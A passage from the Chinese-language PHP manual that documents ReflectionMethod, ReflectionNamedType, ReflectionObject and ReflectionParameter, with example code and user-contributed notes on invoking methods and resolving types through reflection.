print $a->getVar() . PHP_EOL;

$reflection = new ReflectionClass(get_class($a));
$closure    = $reflection->getMethod('getVar')->getClosure($a);
$get_var_b  = $closure->bindTo($b, $b);

print $get_var_b() . PHP_EOL;

// Output:
// class A
// class B
Denis Doronin 18-Jan-2013 08:05
You can call private methods with getClosure():

<?php

function call_private_method($object, $method, $args = array()) {
    $reflection = new ReflectionClass(get_class($object));
    $closure = $reflection->getMethod($method)->getClosure($object);
    return call_user_func_array($closure, $args);
}

class Example {

    private $x = 1, $y = 10;

    private function sum() {
        print $this->x + $this->y;
    }

}

call_private_method(new Example(), 'sum');

?>

Output is 11.


获取被反射的方法所在类的反射实例

  • ? ReflectionMethod::getClosure
  • ReflectionMethod::getModifiers ?
  • PHP Manual
  • ReflectionMethod
  • 获取被反射的方法所在类的反射实例

ReflectionMethod::getDeclaringClass

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例

说明

public ReflectionMethod::getDeclaringClass(): ReflectionClass

获取被反射的方法所在的类的反射实例。

参数

此函数没有参数。

返回值

返回类的 ReflectionClass 反射对象，被反射的方法是这个类的一部分。

示例

Example #1 ReflectionMethod::getDeclaringClass() 示例

<?php
class HelloWorld {

protected function sayHelloTo($name) {
return 'Hello ' . $name;
}

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
var_dump($reflectionMethod->getDeclaringClass());
?>

以上示例会输出：

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(10) "HelloWorld"
}

参见

  • ReflectionMethod::isAbstract() - 判断方法是否是抽象方法

User Contributed Notes

There are no user contributed notes for this page.


获取方法的修饰符

  • ? ReflectionMethod::getDeclaringClass
  • ReflectionMethod::getPrototype ?
  • PHP Manual
  • ReflectionMethod
  • 获取方法的修饰符

ReflectionMethod::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::getModifiers — 获取方法的修饰符

说明

public ReflectionMethod::getModifiers(): int

返回一个方法的修饰符，返回值是一个位标。

参数

此函数没有参数。

返回值

使用数字表示方法修饰符。这些修饰符的实际含义可以参考预定义常量中的说明。

示例

Example #1 ReflectionMethod::getModifiers() 示例

<?php
class Testing
{
final public static function foo()
{
return;
}
public function bar()
{
return;
}
}

$foo = new ReflectionMethod('Testing', 'foo');

echo "Modifiers for method foo():\n";
echo $foo->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($foo->getModifiers())) . "\n";

$bar = new ReflectionMethod('Testing', 'bar');

echo "Modifiers for method bar():\n";
echo $bar->getModifiers() . "\n";
echo implode(' ', Reflection::getModifierNames($bar->getModifiers()));
?>

以上示例的输出类似于：

Modifiers for method foo():
49
final public static
Modifiers for method bar():
1
public

参见

  • Reflection::getModifierNames() - 获取修饰符的名称

User Contributed Notes

There are no user contributed notes for this page.


返回方法原型 (如果存在)

  • ? ReflectionMethod::getModifiers
  • ReflectionMethod::hasPrototype ?
  • PHP Manual
  • ReflectionMethod
  • 返回方法原型 (如果存在)

ReflectionMethod::getPrototype

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionMethod::getPrototype — 返回方法原型 (如果存在)

说明

public ReflectionMethod::getPrototype(): ReflectionMethod

返回方法原型。

参数

此函数没有参数。

返回值

方法原型的 ReflectionMethod 实例。

错误／异常

如果方法没有原型，抛出 ReflectionException。

示例

Example #1 ReflectionMethod::getPrototype() 示例

<?php
class Hello {

public function sayHelloTo($name) {
return 'Hello ' . $name;
}

}
class HelloWorld extends Hello {

public function sayHelloTo($name) {
return 'Hello world: ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
var_dump($reflectionMethod->getPrototype());
?>

以上示例会输出：

object(ReflectionMethod)#2 (2) {
  ["name"]=>
  string(10) "sayHelloTo"
  ["class"]=>
  string(5) "Hello"
}

参见

  • ReflectionMethod::getModifiers() - 获取方法的修饰符
  • ReflectionMethod::hasPrototype() - Returns whether a method has a prototype

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a method has a prototype

  • ? ReflectionMethod::getPrototype
  • ReflectionMethod::invoke ?
  • PHP Manual
  • ReflectionMethod
  • Returns whether a method has a prototype

ReflectionMethod::hasPrototype

(PHP 8 >= 8.2.0)

ReflectionMethod::hasPrototype — Returns whether a method has a prototype

说明

public ReflectionMethod::hasPrototype(): bool

Returns whether a method has a prototype.

参数

此函数没有参数。

返回值

Returns true if the method has a prototype, otherwise false.

示例

Example #1 ReflectionMethod::hasPrototype() example

<?php

class Hello
{
public function sayHelloTo($name)
{
return 'Hello '.$name;
}
}

class HelloWorld extends Hello
{
public function sayHelloTo($name)
{
return 'Hello world: '.$name;
}
}
$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
var_dump($reflectionMethod->hasPrototype());
?>

以上示例会输出：

bool(true)

参见

  • ReflectionMethod::getPrototype() - 返回方法原型 (如果存在)

User Contributed Notes

There are no user contributed notes for this page.


Invoke

  • ? ReflectionMethod::hasPrototype
  • ReflectionMethod::invokeArgs ?
  • PHP Manual
  • ReflectionMethod
  • Invoke

ReflectionMethod::invoke

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::invoke — Invoke

说明

public ReflectionMethod::invoke(?object $object, mixed ...$args): mixed

执行反射的方法。

参数

object

如果执行的方法是静态类，那么这个参数传送 null。

args

0，或者传送给方法的参数列表。可以通过这个参数，给方法传送大量的参数。

返回值

返回方法的返回值

错误／异常

如果 object 并没有包含一个可以使用的类实例，那么将产生 一个 ReflectionException。

如果方法调用失败，也会产生一个 ReflectionException。

示例

Example #1 ReflectionMethod::invoke() 示例

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Hello ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invoke(new HelloWorld(), 'Mike');
?>

以上示例会输出：

Hello Mike

注释

Note:

当需要引用参数时，不能使用 ReflectionMethod::invoke()。必须使用 ReflectionMethod::invokeArgs() 代替（在参数列表传递引用）。

参见

  • ReflectionMethod::invokeArgs() - 带参数执行
  • __invoke()
  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

dimitriy at remerov dot ru 06-Jun-2012 01:19
This method can be used to call a overwritten public method of a parent class on an child instance
The following code will output "A":

<?php

class A
{
    public function foo()
    {
        return __CLASS__;
    }
}

class B extends A
{
    public function foo()
    {
        return __CLASS__;
    }
}

$b = new B();

$reflection = new ReflectionObject($b);

$parentReflection = $reflection->getParentClass();

$parentFooReflection = $parentReflection->getMethod('foo');

$data = $parentFooReflection->invoke($b);

echo $data;

?>
templargrey at wp dot pl 21-Jul-2011 01:12
Seems that Reflection doesn`t resolve late static bindings - var_dump will show "string 'a' (length=1)".

<?php
class ParentClass { protected static $a = 'a'; static public function init() { return static::$a; } }
class ChildClass extends ParentClass { protected static $a = 'b'; }

$r = new ReflectionClass('ChildClass');
var_dump($r->getMethod('init')->invoke(null));
?>
rojaro at gmail dot com 10-Feb-2011 01:56
Note: If you want to invoke protected or private methods, you'll first have to make them accessible using the setAccessible() method (see http://php.net/reflectionmethod.setaccessible ).


带参数执行

  • ? ReflectionMethod::invoke
  • ReflectionMethod::isAbstract ?
  • PHP Manual
  • ReflectionMethod
  • 带参数执行

ReflectionMethod::invokeArgs

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionMethod::invokeArgs — 带参数执行

说明

public ReflectionMethod::invokeArgs(?object $object, array $args): mixed

使用数组给方法传送参数，并执行他。

参数

object

调用方法的对象，如果是静态对象，设置为 null

args

使用 array 传送的方法参数。

返回值

返回方法返回值。

错误／异常

如果 object 指定的实例无法执行方法，那么产生 ReflectionException 异常。

如果方法调用失败，产生 ReflectionException

更新日志

版本 | 说明
8.0.0 | args 的键现在将解释为参数的名称，而不是默默忽略。

示例

Example #1 ReflectionMethod::invokeArgs() 示例

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Hello ' . $name;
}

}

$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));
?>

以上示例会输出：

Hello Mike

注释

Note:

如果函数有参数需为引用，那么它们必须以引用方式传入。

参见

  • ReflectionMethod::invoke() - Invoke
  • __invoke()
  • call_user_func_array() - 调用回调函数，并把一个数组参数作为回调函数的参数

User Contributed Notes

CodeCoutureXX at gmail dot com 03-Sep-2015 09:12
If you need to call ReflectionMethod::invokeArgs() on a static function you can pass NULL in for the $object parameter.

Example:

<?php
     class myClass {
          public static myStaticFunc($a, $b) {
               return $a + $b;
          }
     }

     $ref = new ReflectionMethod('myClass', 'myStaticFunc');
     echo $ref->invokeArgs(NULL, [12, 7]);
?>

produces the following output:

19
cweiske at cweiske dot de 25-Mar-2011 07:34
Passing arguments by reference works:
<?php $rm->invokeArgs($object, array(&$foo, $bar)); ?>
agent_harris at secure-mail dot biz 13-Feb-2011 07:12
There is a simple workaround for the reference passing problem:
Since the reflection api has to handle all parameters in a generic way it has no chance to guess if you wish to pass data per value or reference.

But it seems that you can also decide to pass a reference from where you call the function or method (not just only by the ampersand prefix in its declaration).

So just do the following; which worked for me:

<?php
//...
$method->invoke($object, $inputValue, &$outputValue);
?>

Since this will only be necessary with arrays and primitive data types it should be acceptable in most cases to know in advance if you need to pass per reference. But it is probably although necessary to keep the ampersand always in the declaration (because of the at least two layers between the actual function and your invoke call).

If this is the expected behavior it will maybe make sense to mention it in the documentation for invoke and invokeArgs.
serg dot smertin at gmail dot com 21-Sep-2010 06:51
We can do black magic, which is useful in templating block calls:

<?php
     $object->__named('methodNameHere', array('arg3' => 'three', 'arg1' => 'one'));

     ...

      /**
       * Pass method arguments by name
       *
       * @param string $method
       * @param array $args
       * @return mixed
       */
      public function __named($method, array $args = array())
      {
        $reflection = new ReflectionMethod($this, $method);

        $pass = array();
        foreach($reflection->getParameters() as $param)
        {
          /* @var $param ReflectionParameter */
          if(isset($args[$param->getName()]))
          {
            $pass[] = $args[$param->getName()];
          }
          else
          {
            $pass[] = $param->getDefaultValue();
          }
        }

        return $reflection->invokeArgs($this, $pass);
      }
?>


判断方法是否是抽象方法

  • ? ReflectionMethod::invokeArgs
  • ReflectionMethod::isConstructor ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是抽象方法

ReflectionMethod::isAbstract

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isAbstract — 判断方法是否是抽象方法

说明

public ReflectionMethod::isAbstract(): bool

判断方法是否是抽象方法

参数

此函数没有参数。

返回值

如果是抽象方法返回 true，否则返回 false

参见

  • ReflectionMethod::getDeclaringClass() - 获取被反射的方法所在类的反射实例

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是构造方法

  • ? ReflectionMethod::isAbstract
  • ReflectionMethod::isDestructor ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是构造方法

ReflectionMethod::isConstructor

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isConstructor — 判断方法是否是构造方法

说明

public ReflectionMethod::isConstructor(): bool

判断方法是否是构造方法

参数

此函数没有参数。

返回值

如果是构造方法返回 true，否则返回 false

参见

  • ReflectionMethod::__construct() - 构造 ReflectionMethod
  • ReflectionMethod::isAbstract() - 判断方法是否是抽象方法
  • ReflectionMethod::isDestructor() - 判断方法是否是析构方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是析构方法

  • ? ReflectionMethod::isConstructor
  • ReflectionMethod::isFinal ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是析构方法

ReflectionMethod::isDestructor

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isDestructor — 判断方法是否是析构方法

说明

public ReflectionMethod::isDestructor(): bool

判断方法是否是析构方法

参数

此函数没有参数。

返回值

如果是析构方法返回 true，否则返回 false

参见

  • ReflectionMethod::isConstructor() - 判断方法是否是构造方法

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否定义 final

  • ? ReflectionMethod::isDestructor
  • ReflectionMethod::isPrivate ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否定义 final

ReflectionMethod::isFinal

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isFinal — 判断方法是否定义 final

说明

public ReflectionMethod::isFinal(): bool

判断方法是否定义 final。

参数

此函数没有参数。

返回值

如果是 final 返回 true，否则返回 false

参见

  • ReflectionMethod::isStatic()

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是私有

  • ? ReflectionMethod::isFinal
  • ReflectionMethod::isProtected ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是私有

ReflectionMethod::isPrivate

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isPrivate — 判断方法是否是私有

说明

public ReflectionMethod::isPrivate(): bool

判断方法是否是私有。

参数

此函数没有参数。

返回值

方法私有为 true，否则为 false。

参见

  • ReflectionMethod::isPublic() - 判断方法是否是 public

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是 protected

  • ? ReflectionMethod::isPrivate
  • ReflectionMethod::isPublic ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是 protected

ReflectionMethod::isProtected

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isProtected — 判断方法是否是 protected

说明

public ReflectionMethod::isProtected(): bool

判断方法是否是 protected。

参数

此函数没有参数。

返回值

方法是 protected，返回 true，否则返回 false

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有

User Contributed Notes

There are no user contributed notes for this page.


判断方法是否是 public

  • ? ReflectionMethod::isProtected
  • ReflectionMethod::setAccessible ?
  • PHP Manual
  • ReflectionMethod
  • 判断方法是否是 public

ReflectionMethod::isPublic

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::isPublic — 判断方法是否是 public

说明

public ReflectionMethod::isPublic(): bool

判断方法是否是 public。

参数

此函数没有参数。

返回值

方法是 public，返回 true，否则返回 false

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有

User Contributed Notes

There are no user contributed notes for this page.


设置方法是否可访问

  • ? ReflectionMethod::isPublic
  • ReflectionMethod::__toString ?
  • PHP Manual
  • ReflectionMethod
  • 设置方法是否可访问

ReflectionMethod::setAccessible

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

ReflectionMethod::setAccessible — 设置方法是否可访问

说明

public ReflectionMethod::setAccessible(bool $accessible): void

通过 ReflectionMethod::invoke() 方法启用对 protected 或 private 方法的调用。

Note: 自 PHP 8.1.0 起，调用此方法无效；默认情况下，所有方法都可调用。

参数

accessible

可以访问设置 true，否则设置 false。

返回值

没有返回值。

示例

Example #1 简单类定义

<?php
class MyClass
{
private function foo()
{
return 'bar';
}
}

$method = new ReflectionMethod("MyClass", "foo");
$method->setAccessible(true);

$obj = new MyClass();
echo $method->invoke($obj);
echo $obj->foo();
?>

以上示例的输出类似于：

bar
Fatal error: Uncaught Error: Call to private method MyClass::foo() from global scope in /in/qdaZS:16

参见

  • ReflectionMethod::isPrivate() - 判断方法是否是私有
  • ReflectionMethod::isProtected() - 判断方法是否是 protected

User Contributed Notes

dave1010 at gmail dot com 11-May-2011 03:21
This is handy for accessing private methods but remember that things are normally private for a reason! Unit Testing is one (debatable) use case for this.

Example:
<?php
class Foo {
  private function myPrivateMethod() {
    return 7;
  }
}

$method = new ReflectionMethod('Foo', 'myPrivateMethod');
$method->setAccessible(true);

echo $method->invoke(new Foo);
// echos "7"
?>

This works nicely with PHPUnit: http://php.net/manual/en/reflectionmethod.setaccessible.php


返回反射方法对象的字符串表达

  • ? ReflectionMethod::setAccessible
  • ReflectionNamedType ?
  • PHP Manual
  • ReflectionMethod
  • 返回反射方法对象的字符串表达

ReflectionMethod::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::__toString — 返回反射方法对象的字符串表达

说明

public ReflectionMethod::__toString(): string

返回反射方法对象的字符串表达。

参数

此函数没有参数。

返回值

ReflectionMethod 实例的字符串表示。

示例

Example #1 ReflectionMethod::__toString() 示例

<?php
class HelloWorld {

public function sayHelloTo($name) {
return 'Hello ' . $name;
}

}

$reflectionMethod = new ReflectionMethod(new HelloWorld(), 'sayHelloTo');
echo $reflectionMethod;
?>

以上示例会输出：

Method [ <user> public method sayHelloTo ] {
  @@ /var/www/examples/reflection.php 16 - 18

  - Parameters [1] {
    Parameter #0 [ <required> $name ]
  }
}

参见

  • ReflectionMethod::export() - 导出 reflection 方法
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionNamedType 类

(PHP 7 >= 7.1.0, PHP 8)

简介

类摘要

class ReflectionNamedType extends ReflectionType {
/* 方法 */
public getName(): string
public isBuiltin(): bool
/* 继承的方法 */
public ReflectionType::allowsNull(): bool
public ReflectionType::__toString(): string
}

Table of Contents

  • ReflectionNamedType::getName — 以字符串形式获取类型的名称
  • ReflectionNamedType::isBuiltin — 检查它是否是内置类型

User Contributed Notes

There are no user contributed notes for this page.


以字符串形式获取类型的名称

  • ? ReflectionNamedType
  • ReflectionNamedType::isBuiltin ?
  • PHP Manual
  • ReflectionNamedType
  • 以字符串形式获取类型的名称

ReflectionNamedType::getName

(PHP 7 >= 7.1.0, PHP 8)

ReflectionNamedType::getName — 以字符串形式获取类型的名称

说明

public ReflectionNamedType::getName(): string

参数

此函数没有参数。

返回值

返回被反射的类型的名称。

参见

  • ReflectionType::__toString() - To string

User Contributed Notes

baptiste at pillot dot fr 08-Sep-2023 12:40
Possible values for type names are:

- The name of a class, interface, or trait,
- The name of any built-in type (php 8.2): array, bool, callable, float, int, null, object, string, false, iterable, mixed, never, true, void,
- The name of any relative class type: parent, self, static.
e3jeremy at gmail dot com 04-Jul-2018 07:28
Method "getName" is available when you access getType from getParameters from class reports information of a method(ReflectionMethod).
No need to instantiate the ReflectionNamedType.

Below is my custom method on resolving method dependencies, getName is a big help.

<?php

class A
{
    public function my()
    {
        return ' My ';
    }
}

class B
{
    public function __construct(A $a)
    {
        $this->a = $a;
    }

    public function hello($string)
    {
        return 'Hello' . $this->a->my() . $string . '.';
    }
}

class C
{
    public function print($instance, $method)
    {
        $params = ['World'];

        echo call_user_func_array(array($instance, $method), array_merge($this->resolveMethodDependencies($instance, $method), $params));
    }

    public function instantiate($class)
    {
        if(method_exists($class, '__construct')) $instance = new $class(...$this->resolveMethodDependencies($class, '__construct'));
        else $instance = new $class;

        return $instance;
    }

    protected function resolveMethodDependencies($class, $method)
    {
        $params = [];
        $reflection = new \ReflectionMethod($class, $method);

        foreach ($reflection->getParameters() as $param) {

            if($type = $param->getType()) {

                if(!$type || !$this->instatiatable ($type)) continue;

                // This is the right way to get the class name in string.
                $className = $type->getName();

                // This will throw error.
                // $className = $param->getType();

                // Alos this one will do the trick.
                // $className = (string) $param->getType();

                if(method_exists($className, '__construct')) {
                    $params[] = new $className(...$this->resolveMethodDependencies($className, '__construct'));
                    continue;
                }

                $params[] = new $className;
            }
        }
        return $params;
    }

    protected function instatiatable ($type)
    {
        // Add conditon if something is leftout.
        // This is to ensure that the type is existing class.
        return $type != 'Closure' && !is_callable($type) && class_exists($type);
    }
}

$class = new C;

$class->print(
    $class->instantiate('B'), 'hello'
);

Output:
Hello My World.


检查它是否是内置类型

  • ? ReflectionNamedType::getName
  • ReflectionObject ?
  • PHP Manual
  • ReflectionNamedType
  • 检查它是否是内置类型

ReflectionNamedType::isBuiltin

(PHP 7, PHP 8)

ReflectionNamedType::isBuiltin — 检查它是否是内置类型

说明

public ReflectionNamedType::isBuiltin(): bool

检查该类型是否是 PHP 中的内置类型。 内置类型是任何不是类、接口或 trait 的类型。

参数

此函数没有参数。

返回值

如果是内置类型返回 true，否则为 false。

示例

Example #1 ReflectionNamedType::isBuiltin() 示例

<?php
class SomeClass {}

function someFunction(string $param, SomeClass $param2, stdClass $param3) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->getType()->isBuiltin());
var_dump($reflectionParams[1]->getType()->isBuiltin());
var_dump($reflectionParams[2]->getType()->isBuiltin());

以上示例会输出：

bool(true)
bool(false)
bool(false)

注意：ReflectionNamedType::isBuiltin() 方法不区分内部类和 自定义类。为了区分，应该在返回的类名上使用 ReflectionClass::isInternal() 方法。

参见

  • ReflectionType::allowsNull() - Checks if null is allowed
  • ReflectionType::__toString() - To string
  • ReflectionClass::isInternal() - 检查类是否由扩展或核心在内部定义
  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

yarns_purport0n at icloud dot com 28-Mar-2022 11:44
built-in types () are:
- `array`
- `callable`
- `bool`
- `float`
- `int`
- `string`
- `iterable`
- `object`
- `mixed`

Note: tested from the list at https://php.net/language.types.declarations#language.types.declarations.base

`self` & `parent` are not included.
mndevel at gmail dot com 13-Mar-2021 10:16
I couldn't find a list of what qualifies as a builtin. Here is what I have so far:
string
float
bool
int
iterable (Iterator reflects as type iterable)
mixed
array

These do not qualify as builtins:
Closure
Stringable
Generator
Traversable
Serializable
Throwable
IteratorAggregate
ArrayAccess
WeakReference
JsonSerializeable


ReflectionObject 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionObject 类报告了 object 的相关信息。

类摘要

class ReflectionObject extends ReflectionClass {
/* 继承的常量 */
public const int ReflectionClass::IS_IMPLICIT_ABSTRACT;
public const int ReflectionClass::IS_EXPLICIT_ABSTRACT;
public const int ReflectionClass::IS_FINAL;
public const int ReflectionClass::IS_READONLY;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(object $object)
/* 继承的方法 */
public static ReflectionClass::export(mixed $argument, bool $return = false): string
public ReflectionClass::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClass::getConstant(string $name): mixed
public ReflectionClass::getConstants(?int $filter = null): array
public ReflectionClass::getConstructor(): ?ReflectionMethod
public ReflectionClass::getDefaultProperties(): array
public ReflectionClass::getDocComment(): string|false
public ReflectionClass::getEndLine(): int|false
public ReflectionClass::getExtension(): ?ReflectionExtension
public ReflectionClass::getExtensionName(): string|false
public ReflectionClass::getFileName(): string|false
public ReflectionClass::getInterfaceNames(): array
public ReflectionClass::getInterfaces(): array
public ReflectionClass::getMethod(string $name): ReflectionMethod
public ReflectionClass::getMethods(?int $filter = null): array
public ReflectionClass::getModifiers(): int
public ReflectionClass::getName(): string
public ReflectionClass::getNamespaceName(): string
public ReflectionClass::getParentClass(): ReflectionClass|false
public ReflectionClass::getProperties(?int $filter = null): array
public ReflectionClass::getProperty(string $name): ReflectionProperty
public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false
public ReflectionClass::getReflectionConstants(?int $filter = null): array
public ReflectionClass::getShortName(): string
public ReflectionClass::getStartLine(): int|false
public ReflectionClass::getStaticProperties(): array
public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed
public ReflectionClass::getTraitAliases(): array
public ReflectionClass::getTraitNames(): array
public ReflectionClass::getTraits(): array
public ReflectionClass::hasConstant(string $name): bool
public ReflectionClass::hasMethod(string $name): bool
public ReflectionClass::hasProperty(string $name): bool
public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool
public ReflectionClass::inNamespace(): bool
public ReflectionClass::isAbstract(): bool
public ReflectionClass::isAnonymous(): bool
public ReflectionClass::isCloneable(): bool
public ReflectionClass::isEnum(): bool
public ReflectionClass::isFinal(): bool
public ReflectionClass::isInstance(object $object): bool
public ReflectionClass::isInstantiable(): bool
public ReflectionClass::isInterface(): bool
public ReflectionClass::isInternal(): bool
public ReflectionClass::isIterable(): bool
public ReflectionClass::isReadOnly(): bool
public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool
public ReflectionClass::isTrait(): bool
public ReflectionClass::isUserDefined(): bool
public ReflectionClass::newInstance(mixed ...$args): object
public ReflectionClass::newInstanceArgs(array $args = []): ?object
public ReflectionClass::newInstanceWithoutConstructor(): object
public ReflectionClass::setStaticPropertyValue(string $name, mixed $value): void
public ReflectionClass::__toString(): string
}

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionObject::export()。

Table of Contents

  • ReflectionObject::__construct — Constructs a ReflectionObject
  • ReflectionObject::export — Export

User Contributed Notes

ccb_bc at hotmail dot com 21-May-2019 03:39
<?php
    class FullReflectionObject {

        /**
        * @var obj => $ReflectionObject = propriedade que representa o objeto $ReflectionObject
        * @var obj => $ReflectionProperty = propriedade que representa o objeto $ReflectionProperty
        * @var obj => $ReflectionMethod = propriedade que representa o objeto $ReflectionMethod
        * @var obj => $ReflectionParameter = propriedade que representa o objeto $ReflectionParameter
        * @var bol => $reflect_object = true se o método object() for invocado
        * @var bol => $reflect_property = true se o método property() for invocado
        * @var bol => $reflect_method = true se o método method() for invocado
        * @var bol => $reflect_parameter = true se o método parameter() for invocado
        */

        private $ReflectionObject;
        private $ReflectionProperty;
        private $ReflectionMethod;
        private $ReflectionParameter;
        private $reflect_object    = false;
        private $reflect_property  = false;
        private $reflect_method    = false;
        private $reflect_parameter = false;

        /**
        * @param obj => $object = objeto a ser refletido
        */
        public function object(object $object) : object {
            $this->reflect_object = true;
            $this->ReflectionObject = new \ReflectionObject($object);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual a properiedade ser refletida pertence
        * @param str => $property = nome da properiedade a ser refletida
        */
        public function property(string $class_name, string $property) : object {
            $this->reflect_property = true;
            $this->ReflectionProperty = new \ReflectionProperty($class_name, $property);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o método ser refletido pertence
        * @param str => $method = nome do método a ser refletido
        */
        public function method(string $class_name, string $method) : object {
            $this->reflect_method = true;
            $this->ReflectionMethod = new \ReflectionMethod($class_name, $method);
            return $this;
        }

        /**
        * @param str => $class_name = nome da classe o qual o parametro a ser refletido pertence
        * @param str => $method = nome do método o qual o parametro a ser refletido pertence
        * @param str => $parameter = nome do parametro a ser refletido
        */
        public function parameter(string $class_name, string $method, string $parameter) : object {
            $this->reflect_parameter = true;
            $this->ReflectionParameter = new \ReflectionParameter(array($class_name, $method), $parameter);
            return $this;
        }

        public function __call($methodName, $args){
            if($this->reflect_object){
                return call_user_func_array(array($this->ReflectionObject, $methodName), $args);
            }
            if($this->reflect_property){
                return call_user_func_array(array($this->ReflectionProperty, $methodName), $args);
            }
            if($this->reflect_method){
                return call_user_func_array(array($this->ReflectionMethod, $methodName), $args);
            }
            if($this->reflect_parameter){
                return call_user_func_array(array($this->ReflectionParameter, $methodName), $args);
            }
        }
    }

    // Digamos que você tenha no seu projeto a classe Client do pacote Guzzle
    $FullReflectionObject = new FullReflectionObject;
    var_dump($FullReflectionObject->object(new GuzzleHttp\Client)->getMethods());
    var_dump($FullReflectionObject->property('GuzzleHttp\Client', 'config')->isPrivate());
    var_dump($FullReflectionObject->method('GuzzleHttp\Client', 'buildUri')->isPrivate());
    var_dump($FullReflectionObject->parameter('GuzzleHttp\Client', 'send', 'options')->getDefaultValue());
kuldipem at gmail dot com 17-Jun-2015 06:01
class a {
    const abc = 1;
    public function __get($key){
        $r = new ReflectionObject($this);
        if($r->hasConstant($key)){ return $r->getConstant($key); }
    }
}
class b {
    public function getA(){
        return new a();
    }
}
$b = new b();
var_dump($b->getA()::abc);
var_dump($b->getA()::def);
marcel dot nolte at noltecomputer dot de 02-Sep-2009 02:42
To simply enlist all methods and properties of an object simply write:

<?php ReflectionObject::export($yourObject); ?>

,which will cause an var_export-like output.


Constructs a ReflectionObject

  • ? ReflectionObject
  • ReflectionObject::export ?
  • PHP Manual
  • ReflectionObject
  • Constructs a ReflectionObject

ReflectionObject::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionObject::__construct — Constructs a ReflectionObject

说明

public ReflectionObject::__construct(object $object)

Constructs a ReflectionObject.

参数

object

An object instance.

参见

  • ReflectionObject::export() - Export
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionObject::__construct
  • ReflectionParameter ?
  • PHP Manual
  • ReflectionObject
  • Export

ReflectionObject::export

(PHP 5, PHP 7)

ReflectionObject::export — Export

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionObject::export(string $argument, bool $return = ?): string

Exports a reflection.

Warning

本函数还未编写文档，仅有参数列表。

参数

argument

导出的反射。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

参见

  • ReflectionObject::__construct() - Constructs a ReflectionObject

User Contributed Notes

There are no user contributed notes for this page.


ReflectionParameter 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionParameter 检索函数或方法参数的相关信息。

要自行检查函数的参数，首先创建 ReflectionFunction 或 ReflectionMethod 的实例，然后使用它们的 ReflectionFunctionAbstract::getParameters() 方法来检索参数的数组。

类摘要

class ReflectionParameter implements Reflector {
/* 属性 */
public string $name;
/* 方法 */
public __construct(string|array|object $function, int|string $param)
public allowsNull(): bool
public canBePassedByValue(): bool
private __clone(): void
public static export(string $function, string $parameter, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getClass(): ?ReflectionClass
public getDeclaringClass(): ?ReflectionClass
public getDeclaringFunction(): ReflectionFunctionAbstract
public getDefaultValue(): mixed
public getDefaultValueConstantName(): ?string
public getName(): string
public getPosition(): int
public getType(): ?ReflectionType
public hasType(): bool
public isArray(): bool
public isCallable(): bool
public isDefaultValueAvailable(): bool
public isDefaultValueConstant(): bool
public isOptional(): bool
public isPassedByReference(): bool
public isVariadic(): bool
public __toString(): string
}

属性

name

参数名。只读，在尝试赋值的时候会抛出 ReflectionException。

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionParameter::export()。

Table of Contents

  • ReflectionParameter::allowsNull — Checks if null is allowed
